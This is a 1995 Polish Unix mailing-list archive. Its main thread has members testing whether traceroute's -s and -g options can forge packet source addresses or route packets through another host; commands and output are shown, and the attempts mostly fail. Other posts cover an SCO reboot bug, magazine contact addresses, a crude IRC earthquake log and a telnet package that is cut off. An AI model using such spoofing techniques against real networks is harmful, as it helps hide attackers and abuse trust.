(8.6.9/8.6.9) id VAA21303 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 21:40:44 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 27 Jan 1995 20:25:47 GMT From: rzm@dain.oso.chalmers.se (Rafal Maszkowski) Message-Id: <3gbksb$i66@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501271743.RAA13787@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: > Wojciech Myszka wrote: > > Szymon Sokol (szymon@uci.agh.edu.pl) wrote: > > > Nie mialem na razie mozliwosci sprawdzenia, czy to rzeczywiscie dziala, > > > bo tez nie mam gotowego narzedzia do falszowania pakietow, ani czasu, zeby > > > je napisac. Ale jestem optymista :-) > > A traceroute z opcja -g? (jest na ftp.immt.pwr.wroc.pl:/pub/nettools) > Czyzby chodzilo Ci o takie cosik?: > -g Enable the IP LSRR (Loose Source Record Route) option in addition A moze: -s src_addr Use the following IP address (which must be given as an IP num ber, not a hostname) as the source address in outgoing probe packets. On hosts with more than one IP address, this option can be used to force the source address to be something other than the IP address of the interface the probe packet is sent on. If the IP address is not one of this machine's interface addresses, an error is returned and nothing is sent. ? Na Sunie faktycznie zwraca blad, ale na Linuxie cos wysyla. Tylko czy to co mowi to jeszcze nie wiem. R. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 22:00:06 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15944; Fri, 27 Jan 95 21:58:16 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id WAA21609 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 22:00:30 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 27 Jan 1995 20:43:01 GMT From: rzm@dain.oso.chalmers.se (Rafal Maszkowski) Message-Id: <3gblsl$i66@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501271743.RAA13787@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: > Wojciech Myszka wrote: > > Szymon Sokol (szymon@uci.agh.edu.pl) wrote: > > > Nie mialem na razie mozliwosci sprawdzenia, czy to rzeczywiscie dziala, > > > bo tez nie mam gotowego narzedzia do falszowania pakietow, ani czasu, zeby > > > je napisac. Ale jestem optymista :-) > > A traceroute z opcja -g? (jest na ftp.immt.pwr.wroc.pl:/pub/nettools) > Czyzby chodzilo Ci o takie cosik?: > -g Enable the IP LSRR (Loose Source Record Route) option in addition A moze: -s src_addr Use the following IP address (which must be given as an IP num ber, not a hostname) as the source address in outgoing probe packets. On hosts with more than one IP address, this option can be used to force the source address to be something other than the IP address of the interface the probe packet is sent on. If the IP address is not one of this machine's interface addresses, an error is returned and nothing is sent. ? Na Sunie faktycznie zwraca blad. Na Linuxie cos wysyla, ale (jak widac z wyswietlanych odpowiedzi) ma to adres lokalny. R. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From krzysio@hebe.umcs.lublin.pl Fri Jan 27 22:10:07 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA16479; Fri, 27 Jan 95 22:09:07 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id VAA14262 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 21:15:55 GMT From: Krzysztof Mlynarski Message-Id: <199501272115.VAA14262@hebe.umcs.lublin.pl> Subject: Re: Adres do Lupusa To: polip@zsku.p.lodz.pl Date: Fri, 27 Jan 1995 22:15:54 +0100 (MET) In-Reply-To: <3gbfbu$il1@galaxy.uci.agh.edu.pl> from "Piotr Piatkowski" at Jan 27, 95 08:23:29 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1232 Piotr Piatkowski wrote: > > Kiedys na liscie pojawil sie adres do kogos z PC-Kuriera. Przekopalem > wszystkie swoje archiwalne listy, adresy, etc... ale niestety - nima. > Wiec moze ktos pamieta? Najchetniej gdyby to byl adres kogos z Unix-forum, > ale moze byc ktokolwiek z redakcji... Ogolnie adresem do LUPUS'a jest: lupus@sam.nask.com.pl Mozna tez probowac bezposrednio do Janka Stozka: Jan.Stozek@f10.n480.z2.fidonet.org Z tego co mowil mi na IRC Rafal Wiosna (naczelny Magazynu Amiga), niedlugo bedzie tez domena: lupus.com.pl i wtedy kontakt bedzie juz prostszy. Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 27 22:20:08 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA17026; Fri, 27 Jan 95 22:18:14 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id WAA21750 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 22:08:57 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 27 Jan 1995 21:02:43 GMT From: myszka@immt.pwr.wroc.pl (Wojciech Myszka) Message-Id: <3gbn1j$sd9@sun1000.ci.pwr.wroc.pl> Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3gbfbu$il1@galaxy.uci.agh.edu.pl> Subject: Re: Adres do Lupusa Piotr Piatkowski (kompas@uci.agh.edu.pl) wrote: > Kiedys na liscie pojawil sie adres do kogos z PC-Kuriera. Przekopalem > wszystkie swoje archiwalne listy, adresy, etc... ale niestety - nima. > Wiec moze ktos pamieta? Najchetniej gdyby to byl adres kogos z Unix-forum, > ale moze byc ktokolwiek z redakcji... --- musi byc ktokolwiek :-) lupus@sam.nask.com.pl Wojtek From krzysio@hebe.umcs.lublin.pl Fri Jan 27 22:20:36 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA17165; Fri, 27 Jan 95 22:20:26 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id VAA14409 for polip@zsku.p.lodz.pl; Fri, 27 Jan 1995 21:27:15 GMT From: Krzysztof Mlynarski Message-Id: <199501272127.VAA14409@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci To: polip@zsku.p.lodz.pl Date: Fri, 27 Jan 1995 22:27:14 +0100 (MET) In-Reply-To: <3gbksb$i66@Waldemar.mat.uni.torun.pl> from "Rafal Maszkowski" at Jan 27, 95 09:44:59 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 2618 Rafal Maszkowski wrote: > > Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: > > Wojciech Myszka wrote: > > > Szymon Sokol (szymon@uci.agh.edu.pl) wrote: > > > > Nie mialem na razie mozliwosci sprawdzenia, czy to rzeczywiscie dziala, > > > > bo tez nie mam gotowego narzedzia do falszowania pakietow, ani czasu, zeby > > > > je napisac. Ale jestem optymista :-) > > > A traceroute z opcja -g? (jest na ftp.immt.pwr.wroc.pl:/pub/nettools) > > Czyzby chodzilo Ci o takie cosik?: > > -g Enable the IP LSRR (Loose Source Record Route) option in addition > > A moze: > -s src_addr > Use the following IP address (which must be given as an IP num > ber, not a hostname) as the source address in outgoing probe > packets. On hosts with more than one IP address, this option can > be used to force the source address to be something other than > the IP address of the interface the probe packet is sent on. If > the IP address is not one of this machine's interface addresses, > an error is returned and nothing is sent. > > ? Na Sunie faktycznie zwraca blad, ale na Linuxie cos wysyla. Tylko czy to > co mowi to jeszcze nie wiem. > To umozliwia Ci uzycie jednego z kilku IP Twojej maszyny jesli masz takie. I owszem.. np. na SGI dziala: hebe:/#traceroute -s 127.0.0.1 148.81.13.1traceroute to 148.81.13.1 (148.81.13.1) from 127.0.0.1, 30 hops max, 40 byte packets 1 * *hebe:/#traceroute -s 127.0.0.1 193.59.50.100traceroute to 193.59.50.100 (193.59.50.100) from 127.0.0.1, 30 hops max, 40 byte packets 1 hebe (193.59.50.100) 2 ms 2 ms 2 ms ... dopoty, dopoki podajesz prawdziwy swoj adres (w tym przypadku 127.0.0.1), ale jesli podasz falszywy, to: hebe:/#traceroute -s 193.59.50.101 193.59.50.1 traceroute: bind:: Cannot assign requested address Zas podawana tu wczesniej opcja -g nie dala zadowalajacych rezultatow w zadnym przypadku.... :( Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From news.polip@cyber.ict.pwr.wroc.pl Sat Jan 28 20:41:51 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA08609; Sat, 28 Jan 95 20:37:55 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id UAA10172 for polip@zsku.p.lodz.pl; Sat, 28 Jan 1995 20:39:04 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 28 Jan 1995 19:37:13 GMT From: myszka@immt.pwr.wroc.pl (Wojciech Myszka) Message-Id: <3ge6d9$8ve@sun1000.ci.pwr.wroc.pl> Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501272127.VAA14409@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: > Zas podawana tu wczesniej opcja -g nie dala zadowalajacych rezultatow w > zadnym przypadku.... :( --- Pozwala ona na sprawdzenie z miejsca A jak ida pakiety z miejsca B do C traceroute -g hp750ts.ita.pwr.wroc.pl apollo.int.pan.wroc.pl: traceroute to apollo.int.pan.wroc.pl (156.17.85.1) 30 hops max, 38 byte packets 1 wazniak.wask.wroc.pl (156.17.8.30) 4 ms 1 ms 1 ms 2 elek.wask.wroc.pl (156.17.254.65) 2 ms 2 ms 2 ms 3 hp750ts.ita.pwr.wroc.pl (156.17.30.10) 3 ms 3 ms 3 ms 4 elek.wask.wroc.pl (156.17.30.30) 3 ms 3 ms 4 ms 5 wazniak.wask.wroc.pl (156.17.254.66) 4 ms 4 ms 4 ms 6 centrum.wask.wroc.pl (156.17.254.251) 5 ms 5 ms 5 ms 7 156.17.254.98 (156.17.254.98) 11 ms 11 ms 9 ms 8 * * * 9 * * * 10 * * * 11 apollo.int.pan.wroc.pl (156.17.85.1) * * 1630 ms --- jak mi sie wydaje ma to cos wspolnego z zastosowana metoda adresowania pakietow - choc wszystkie informacje wracaja do wysylajacego Wojtek From muhlig@usctoux1.cto.us.edu.pl Sun Jan 29 10:31:47 1995 Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA03305; Sun, 29 Jan 95 10:27:24 +0100 Return-Path: From: Maciek Uhlig X-Mailer: SCO System V Mail (version 3.2) To: polip@zsku.p.lodz.pl Date: Sun, 29 Jan 95 10:36:30 MET Message-Id: <9501291036.aa20565@usctoux1.cto.us.edu.pl> To: polip@zsku.p.lodz.pl Subject: Stabilnosc systemu SCO Newsgroups: biz.sco.general Organization: Silesian University, Katowice, Poland Forwarduje dla niedowiarkow kolejny dowod stabilnosci systemu SCO. Ludzie maja problemy z systemem, gdy dziala on dluzej niz 250 dni :-). Maciek Uhlig -- >>>>> "Bela" == Bela Lubkin writes: Bela> Mark Saltzman wrote: >> I seem to remember a posting here a while back (from Bela, I >> think) about problems for sco after running for >= 250 days. I >> have a machine running odt 3.0 which started acting strangely >> on its 250th day. Does anyone remember this post or have any >> other information? Bela> It's true: the kernel variable lbolt, which counts the Bela> number of 100Hz timer ticks since boot, goes negative. Bela> Various parts of the kernel which do timeouts by comparing a Bela> saved lbolt value with the current value get very confused. Bela> Work has been done to fix this in our next release, but too Bela> many pieces must change for it to be applicable to ODT 3.0 Bela> systems. Solution? If some other force like the local Bela> power company or a hard disk crash doesn't do it for you, Bela> reboot your system at least once every 250 days. >> Bela< Thanks so much for the response! It really saved me a lot of uncomfortable explaining for my customer. -mark -- ---------------------------------------------------------------------- Maciej UHLIG, Computer Center, Silesian University Uniwersytecka 4 St., 40-007 KATOWICE, POLAND Internet: muhlig@usctoux1.cto.us.edu.pl Voice: +48 (32) 588211 (1768) Fax: +48 (32) 596847 ***** Imagine all the people sharing all the world (John Lennon) ***** From turek@aa.washington.edu Sun Jan 29 10:35:11 1995 Received: from challenger.aa.washington.edu by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA03441; Sun, 29 Jan 95 10:33:27 +0100 Return-Path: Received: from laima.aa.washington.edu by challenger.aa.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15110; Sun, 29 Jan 95 01:39:43 -0800 Date: Sun, 29 Jan 1995 01:39:40 -0800 (PST) From: Chad Turek To: informatics , polip Subject: LINUX and QUAKE!! was QUAKE (fwd) Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Nie calkiem na temat. Rozmowa Linux users podczas trzesienia ziemi z Seattle 01/28/95 o 7:11. (uwierzcie mi te 5.0 poprzekrecalo mi fonty na ekranie) -------------------?------------------- Chad Turek turek@aa.washington.edu University of Washington dept. of Aeronautics and Astronautics Seattle, WA -------------------?------------------- ---------- Forwarded message ---------- Date: Sat, 28 Jan 95 19:32:36 -0800 From: Randy Chapman To: Multiple recipients of list Subject: QUAKE!! but i mailed them asking and no one responded I was supposed to buy it for #Linux about 3 weeks ago we're having a fuckign earthquake!?!?SDF OH SHIT no one from there ever answered me HOLY SHITY jzc: ok. OOH FUCK thad : hold on.. * billy pats thaddues on the head hehehe grab someone's tits * thrashgod turns on CNN.. its a perfect excuse JUUSZUS fuck it's still going and sees the response time HOLY SHIYT in washington? my god I'm fucking shaking stand under a doorway.. adrenalin Anybody know about the Alpha linux port From PAWLAK@zeubac.desy.de Sun Jan 29 12:31:48 1995 Received: from AXDSYA.desy.de by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA05357; Sun, 29 Jan 95 12:31:27 +0100 Return-Path: Received: from DECNET-MAIL (PAWLAK@ZEUBAC) by vxdesy.desy.de (PMDF V4.3-11 #6950) id <01HMF345DDVK90NJ9Y@vxdesy.desy.de>; Sun, 29 Jan 1995 12:38:10 +0100 Date: Sun, 29 Jan 1995 12:38:10 +0100 From: Jerzy Michal Pawlak Subject: Re: Stabilnosc systemu SCO To: polip@zsku.p.lodz.pl Message-Id: <01HMF345E80Y90NJ9Y@vxdesy.desy.de> X-Vms-To: VXDESY::IN%"polip@zsku.p.lodz.pl" X-Vms-Cc: PAWLAK Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT >Forwarduje dla niedowiarkow kolejny dowod stabilnosci systemu SCO. >Ludzie maja problemy z systemem, gdy dziala on dluzej niz 250 dni :-). > >Maciek Uhlig > [...] (tu opis buga w systemie wymuszajacego reboot co jakis czas) > Sorry Macku, to co poslales jest dowodem NIE-stabilnosci systemu SCO... W moim slowniku 'stabilny' oznacza (w odniesieniu do systemu operacyjnego) jez bedzie w zasadzie funkcjonowal poprawnie nieskonczenie dlugo (no, powiedzmy znacznie dluzej niz czas zycia komputera), o ile nie przeszkodzi mu w tym awaria sprzetu. System SCO ma jak widac wbudowane 'w zasadzie' ograniczenie rzedu pol roku - czyli stabilny w tym sensie nie jest... Inna rzecz, ze w porownaniu z wieloma innym systemami to nie jest az tak zle :-) JMP From krzysio@hebe.umcs.lublin.pl Sun Jan 29 16:41:50 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA07939; Sun, 29 Jan 95 16:39:28 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id PAA18841 for polip@zsku.p.lodz.pl; Sun, 29 Jan 1995 15:46:47 GMT From: Krzysztof Mlynarski Message-Id: <199501291546.PAA18841@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci To: polip@zsku.p.lodz.pl Date: Sun, 29 Jan 1995 16:46:46 +0100 (MET) In-Reply-To: <3ge6d9$8ve@sun1000.ci.pwr.wroc.pl> from "Wojciech Myszka" at Jan 28, 95 08:46:04 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1712 Wojciech Myszka wrote: > > Zas podawana tu wczesniej opcja -g nie dala zadowalajacych rezultatow w > > zadnym przypadku.... :( > --- > Pozwala ona na sprawdzenie z miejsca A jak ida pakiety z miejsca B do C > traceroute -g hp750ts.ita.pwr.wroc.pl apollo.int.pan.wroc.pl: > > traceroute to apollo.int.pan.wroc.pl (156.17.85.1) 30 hops max, 38 byte packets > 1 wazniak.wask.wroc.pl (156.17.8.30) 4 ms 1 ms 1 ms > 2 elek.wask.wroc.pl (156.17.254.65) 2 ms 2 ms 2 ms > 3 hp750ts.ita.pwr.wroc.pl (156.17.30.10) 3 ms 3 ms 3 ms > 4 elek.wask.wroc.pl (156.17.30.30) 3 ms 3 ms 4 ms > 5 wazniak.wask.wroc.pl (156.17.254.66) 4 ms 4 ms 4 ms > 6 centrum.wask.wroc.pl (156.17.254.251) 5 ms 5 ms 5 ms > 7 156.17.254.98 (156.17.254.98) 11 ms 11 ms 9 ms > 8 * * * > 11 apollo.int.pan.wroc.pl (156.17.85.1) * * 1630 ms > --- > jak mi sie wydaje ma to cos wspolnego z zastosowana metoda > adresowania pakietow - choc wszystkie informacje wracaja do > wysylajacego Wlasnie... a u nas niestety tak to nie zadzialalo :( Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From news.polip@cyber.ict.pwr.wroc.pl Sun Jan 29 20:01:52 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA10107; Sun, 29 Jan 95 19:57:38 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id TAA28233 for polip@zsku.p.lodz.pl; Sun, 29 Jan 1995 19:50:26 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 29 Jan 1995 19:37:41 +0100 From: kompas@uci.agh.edu.pl (Piotr Piatkowski) Message-Id: <3ggn9l$frg@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501272115.VAA14262@hebe.umcs.lublin.pl> Subject: Re: Adres do Lupusa Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: : Ogolnie adresem do LUPUS'a jest: : lupus@sam.nask.com.pl Wielkie dzieki wszystkim ktorzy odpowiedzieli :-) Kaz -------------- Piotr Piatkowski, Uczelniane Centrum Informatyki, AGH Krakow, POLAND From news.polip@cyber.ict.pwr.wroc.pl Sun Jan 29 22:41:53 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12060; Sun, 29 Jan 95 22:37:38 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id WAA00294 for polip@zsku.p.lodz.pl; Sun, 29 Jan 1995 22:29:16 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 29 Jan 1995 21:25:54 GMT From: myszka@immt.pwr.wroc.pl (Wojciech Myszka) Message-Id: <3gh152$oik@sun1000.ci.pwr.wroc.pl> Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501291546.PAA18841@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: > Wlasnie... a u nas niestety tak to nie zadzialalo :( --- Nie kazda wersja traceroute na to pozwala. Polecam (cytowane juz) ftp.immt.pwr.wroc.pl:/pub/nettools Wojtek From krzysio@hebe.umcs.lublin.pl Sun Jan 29 23:56:53 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA13377; Sun, 29 Jan 95 23:55:53 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id XAA20472 for polip@zsku.p.lodz.pl; Sun, 29 Jan 1995 23:03:18 GMT From: Krzysztof Mlynarski Message-Id: <199501292303.XAA20472@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci To: polip@zsku.p.lodz.pl Date: Mon, 30 Jan 1995 00:03:18 +0100 (MET) In-Reply-To: <3gh152$oik@sun1000.ci.pwr.wroc.pl> from "Wojciech Myszka" at Jan 29, 95 10:46:32 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1120 Wojciech Myszka wrote: > > Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: > > > Wlasnie... a u nas niestety tak to nie zadzialalo :( > --- > Nie kazda wersja traceroute na to pozwala.i To bylaby niezla afera, poniewaz wg. manuala systemowego powinno dzialac, co wiecej sam informuje, ze posiada opcje -g. Niestety nie udalo mi sie jej zmusic do pracy. Moze ktos uzywal opcji -g w traceroute pod systemem IRIX v5.2 na jakimkolwiek Silicon graphics? :) Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 30 03:20:08 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA16079; Mon, 30 Jan 95 03:17:34 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id DAA04200 for polip@zsku.p.lodz.pl; Mon, 30 Jan 1995 03:20:46 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 30 Jan 1995 02:51:36 +0100 From: kompas@uci.agh.edu.pl (Piotr Piatkowski) Message-Id: <3ghgn8$bka@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl Subject: Telnet z ogonkami Udalo mi sie stworzyc wersje telbina ktora radzi sobie z ogonkami. Dodalem do tego program 'ogonki' Andrzeja Gorbiela, dwie strony opisu i zrobila sie calkiem zgrabna paczuszka. Jakby ktos chcial sprawdzic jak dziala to chetnie widze wszelkie uwagi/opinie. Pozwole sobie dolaczyc ponizej plik z opisem pakietu, zeby Was zorientowac o co wlasciwie chodzi: Kilka zdan na temat pakietu telbinpl. Do czego moze sie przydac pakiet telbinpl? Pakiet ten jest to nieco zmodyfikowana wersja popularnego programu telbin (CUTCP), pozwalajacego na zdalna prace za pomoca uslugi telnet. Modyfikacja polega na uzupelnieniu programu o funkcje pozwalajace uzyskiwac na ekranie tzw. polskie znaki (czyli  $"&'). Poniewaz coraz czesciej spotyka sie w sieci teksty pisane po polsku, z uzyciem standardu ISO-8859-2, dlatego warto zainstalowac program pozwalajacy je poprawnie ogladac. Poczatkowym przeznaczeniem programu byla praca z systemem bibliotecznym VTLS uruchamianym w Bibliotece Jagiellonskiej, oraz Bibliotece Glownej AGH, jednak okazalo sie ze rozwiazanie to moze byc przydatne takze dla innych programow pracujacych w systemie Unix, takich jak Lynx, Gopher, Allegro. Ile to kosztuje? Jako ze oryginalny telbin jest rozprowadzany bezplatnie, dlatego tez pakiet telbinpl jest dostepny za darmo, mozna go sciagnac m.in. z tzw. anonymous ftp na serwerze AGH, pelny adres (URL) to ftp://ftp.agh.edu.pl/pub/msdos/network/cutcp/telbinpl.zip. Co wchodzi w sklad pakietu? Pakiet sklada sie z programu telbin.exe, bedacego zmodyfikowana wersja oryginalnego programu telbin, oraz programu ogonki.com (autorstwa Andrzeja Gorbiela), instalujacego polskie znaki na kartach graficznych EGA/VGA, oraz obslugujacego klawiature (polskie znaki uzyskuje sie za pomoca kombinacji prawy_Alt+litera), a takze z pliku z dokumentacja (czyli wlasnie TEGO pliku) w dwoch formatach, MSWord oraz ASCII. Dla kogo ten pakiet jest przeznaczony? Zasadniczo pakiet jest przeznaczony dla osob ktore juz korzystaja z programu telbin. Powinny one po prostu podmienic oryginalny telbin.exe przez plik o tej samej nazwie zawarty w pakiecie. W szczegolnosci plik konfiguracyjny moze (a nawet powinien) pozostac nie zmieniony. Jezeli ktos nie zna pakietu telbin, to powinien sciagnac go w calosci i zapoznac sie z dokumentacja i przykladowym plikiem konfiguracyjnym, a dopiero po zainstalowaniu wersji oryginalnej zamienic plik wykonywalny (telbin.exe). Oryginalny pakiet mozna znalezc m.in. w: ftp://ftp.agh.edu.pl/pub/msdos/network/cutcp/cutcp-b.zip Jak korzystac z tego pakietu? Po zamianie pliku telbin.exe przez ten zawarty w pakiecie, nalezy uruchomic program ogonki (bez parametrow), a nastepnie telbin.exe (podajac ewentualnie adres komputera do ktorego chcemy sie podlaczyc). Nalezy pamietac o pliku konfiguracyjnym, jego nazwe wraz ze sciezka powinna wskazywac zmienna CONFIGTEL. Zawartosc tego pliku powinna byc dokladnie taka sama jak dla oryginalnego programu telbin. Dalsza praca przebiega dokladnie tak jak dla zwyklego programu telbin, jedyna roznica jest to, ze znaki o kodach odpowiadajacych polskim literom w kodzie ISO-8859-2 sa przez program zamieniane na odpowiednie znaki standardu Mazovia a nastepnie (dzieki programowi ogonki) wyswietlane jako poprawne polskie znaki. Aby przeslac do zdalnego komputera odpowiedni polski znak (np. w edytorze Allegro), nalezy nacisnac prawy Alt wraz z odpowiednim klawiszem (np. Alt+a daje a, Alt+Shift+Z - Z, Alt+x - z). Lewy Alt sluzy do wydawania polecen programu telbin (np. Alt+a - nowa sesja, Alt+n - przelaczanie miedzy sesjami...).Po zakonczeniu pracy z telbinem mozna usunac z pamieci program ogonki poleceniem ogonki /u. Jaki standard polskich liter? Obecnie znanych jest ponad 20 standardow polskich znakow. Szczesliwie jednak w systemach Unix oraz w sieci Internet popularnosc zdobyl tylko jeden standard - ISO-8859-2. Do tego standardu przystosowany jest tez pakiet telbinpl. Poniewaz jednak polskie znaki w tym standardzie koliduja ze znakami ramek, zdecydowalem sie na konwersje znakow "w locie", co oznacza ze program automatycznie zamienia wszystkie znaki ze standardu ISO-8859-2 na Mazovie (popularna wsrod komputerow PC), ktory to standard nie koliduje ze znakami semigrafiki. Podobnie znaki wprowadzane z klawiatury sa zamieniane na ISO-8859-2 i dopiero w tej postaci sa wysylane do zdalnego komputera. Gdzie mozna znalezc polskie teksty? Tekstow pisanych w pelni po polsku (czyli z wykorzystaniem polskich znakow) mozna znalezc w sieci Internet coraz wiecej, wymienie tylko kilka przykladowych - duza czesc dokumentow WWW (zaczac mozna np. od http://www.uci.agh.edu.pl/), Gazeta Wyborcza - dodatek KiB oraz lokalny krakowski (gopher://gopher.cyf-kr.edu.pl/), poza tym programem komunikujacym sie z uzytkownikiem w pelni po polsku (i pozwalajacym na pisanie tekstow po polsku) jest Allegro, dostepne za darmo w systemie Linux (ftp://ftp.agh.edu.pl/pub/linux/progs/allegro). To tylko niewielka czesc dokumentow pisanych po polsku, pojawia ich sie z kazdym dniem coraz wiecej. Jak korzystac z systemu bibliotecznego VTLS? Jak to juz zostalo wspomniane, program poczatkowo powstal aby umozliwic korzystanie z polskich znakow w systemie bibliotecznym 